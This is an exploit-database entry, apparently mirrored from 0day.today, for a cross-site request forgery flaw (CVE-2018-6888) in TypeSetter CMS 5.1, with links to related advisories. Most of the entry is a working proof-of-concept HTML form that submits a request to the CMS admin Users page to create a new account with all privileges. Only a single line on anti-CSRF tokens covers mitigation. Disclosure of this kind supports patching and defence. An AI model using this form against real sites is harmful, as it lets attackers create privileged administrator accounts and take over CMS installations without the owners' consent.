TypeSetter CMS 5.1 - Cross-Site Request Forgery Vulnerability

🗓️ 13 Feb 2018 00:00:00Reported by Navina AsraniType

zdt🔗 0day.today👁 23 Views

TypeSetter CMS 5.1 Cross-Site Request Forgery Vulnerability. Allows malicious HTTP requests resulting in account takeover or command execution

Reporter	Title	Published	Views	Family All 7
CNVD	Typesetter Cross-Site Request Forgery Vulnerability	12 Feb 201800:00	–	cnvd
CVE	CVE-2018-6888	12 Feb 201803:00	–	cve
Cvelist	CVE-2018-6888	12 Feb 201803:00	–	cvelist
EUVD	EUVD-2018-18633	7 Oct 202500:30	–	euvd
NVD	CVE-2018-6888	12 Feb 201803:29	–	nvd
Packet Storm	TypeSetter CMS 5.1 Cross Site Request Forgery	14 Feb 201800:00	–	packetstorm
Prion	Cross site request forgery (csrf)	12 Feb 201803:29	–	prion

# Exploit Title: TypeSetter CMS 5.1 Cross Site Request Forgery
# Date: 10-02-2018
# Exploit Author: Navina Asrani
# Contact: https://twitter.com/NavinaSanjay
# Website: https://securitywarrior9.blogspot.in/
# Vendor Homepage: https://www.typesettercms.com/
# Version: 5.1
# CVE : NA
# Category: Webapp CMS
 
1. Description
 
The application allows malcious HTTP requests to be directly executed without any hidden security token.This may lead to user account takeover or malious command execution
 
2. Proof of Concept
 
Exploit code:
 
<html>
  <body>
    <form action="http://localhost/cms/Admin/Users" method="POST">
      <input type="hidden" name="verified" value="475f10871b08f44c20dab5bc2cb55d17946e6c98fa8abf28c64a5a9dab0ee2e122fefcc29cae9cc2e48daf564bfe55665e26b2b2174dee14e83c5e6974cf3218" />
      <input type="hidden" name="username" value="samrat&#95;test" />
      <input type="hidden" name="password" value="sam9318" />
      <input type="hidden" name="password1" value="sam9318" />
      <input type="hidden" name="algo" value="password&#95;hash" />
      <input type="hidden" name="email" value="sam9318&#64;gmail&#46;com" />
      <input type="hidden" name="grant&#95;all" value="all" />
      <input type="hidden" name="cmd" value="newuser" />
      <input type="hidden" name="aaa" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
  
 
    
3. Solution:
 
To Mitigate CSRF vulnerability, it is recommeded to enforce security tokens such as anti csrf tokens

#  0day.today [2018-04-09]  #

13 Feb 2018 00:00Current

8High risk

Vulners AI Score8

EPSS0.00132